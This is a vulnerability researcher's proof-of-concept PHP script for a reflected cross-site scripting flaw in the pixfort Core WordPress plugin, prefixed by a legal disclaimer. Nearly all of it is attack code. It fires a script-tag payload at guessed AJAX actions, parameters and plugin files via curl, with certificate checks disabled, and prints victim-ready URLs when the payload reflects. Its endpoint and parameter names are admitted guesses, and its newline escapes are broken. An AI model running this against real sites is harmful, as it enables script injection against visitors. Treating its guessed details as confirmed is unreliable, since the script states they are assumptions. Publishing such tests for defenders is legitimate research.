CVE-2026-28072: pixfort Core <= 3.2.22 – Reflected Cross-Site Scripting (pixfort-core)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28072 - pixfort Core <= 3.2.22 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28072
 * This script demonstrates reflected XSS in pixfort Core plugin <= 3.2.22
 * Assumptions based on WordPress plugin patterns:
 * 1. Vulnerability exists in an AJAX handler or direct PHP endpoint
 * 2. The 'action' parameter uses 'pixfort_core' prefix
 * 3. A specific parameter lacks proper sanitization
 * 4. No authentication or nonce required (unauthenticated)
 */

$target_url = 'https://vulnerable-site.com';

// Common WordPress AJAX endpoint for plugin actions
$ajax_endpoint = '/wp-admin/admin-ajax.php';

// Likely vulnerable action name based on plugin slug
$action = 'pixfort_core_vulnerable_action';

// Alternative action pattern
$action_alt = 'pixfort_core_get_content';

// XSS payload that triggers alert with domain name
$payload = rawurlencode('<script>alert(document.domain)</script>');

// Test multiple potential vulnerable parameters
$parameters = [
    'id' => $payload,
    'content' => $payload,
    'data' => $payload,
    'url' => $payload,
    'param' => $payload
];

echo "Atomic Edge CVE-2026-28072 PoCn";
echo "Target: $target_urlnn";

// Test each parameter with both action names
foreach ([$action, $action_alt] as $action_name) {
    foreach ($parameters as $param_name => $param_value) {
        $url = $target_url . $ajax_endpoint . '?action=' . $action_name . '&' . $param_name . '=' . $param_value;
        
        echo "Testing: $urln";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        // Check if payload appears unsanitized in response
        if (strpos($response, '<script>alert(document.domain)</script>') !== false) {
            echo "[VULNERABLE] Payload reflected in response for action=$action_name, param=$param_namen";
            echo "Craft this URL for victim: $urlnn";
        } else if ($http_code == 200) {
            echo "[TESTED] Action endpoint exists but payload may be sanitizedn";
        }
    }
}

// Also test direct plugin file access (common pattern)
$plugin_files = [
    '/wp-content/plugins/pixfort-core/includes/ajax-handler.php',
    '/wp-content/plugins/pixfort-core/core/functions.php',
    '/wp-content/plugins/pixfort-core/pixfort-core.php'
];

foreach ($plugin_files as $file) {
    foreach ($parameters as $param_name => $param_value) {
        $url = $target_url . $file . '?' . $param_name . '=' . $param_value;
        
        echo "Testing direct file: $urln";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        if ($http_code == 200 && strpos($response, '<script>alert(document.domain)</script>') !== false) {
            echo "[VULNERABLE] Direct file access with reflected XSS: $urln";
        }
    }
}

echo "nPoC complete. Successful exploitation requires victim to visit crafted URL.n";
?>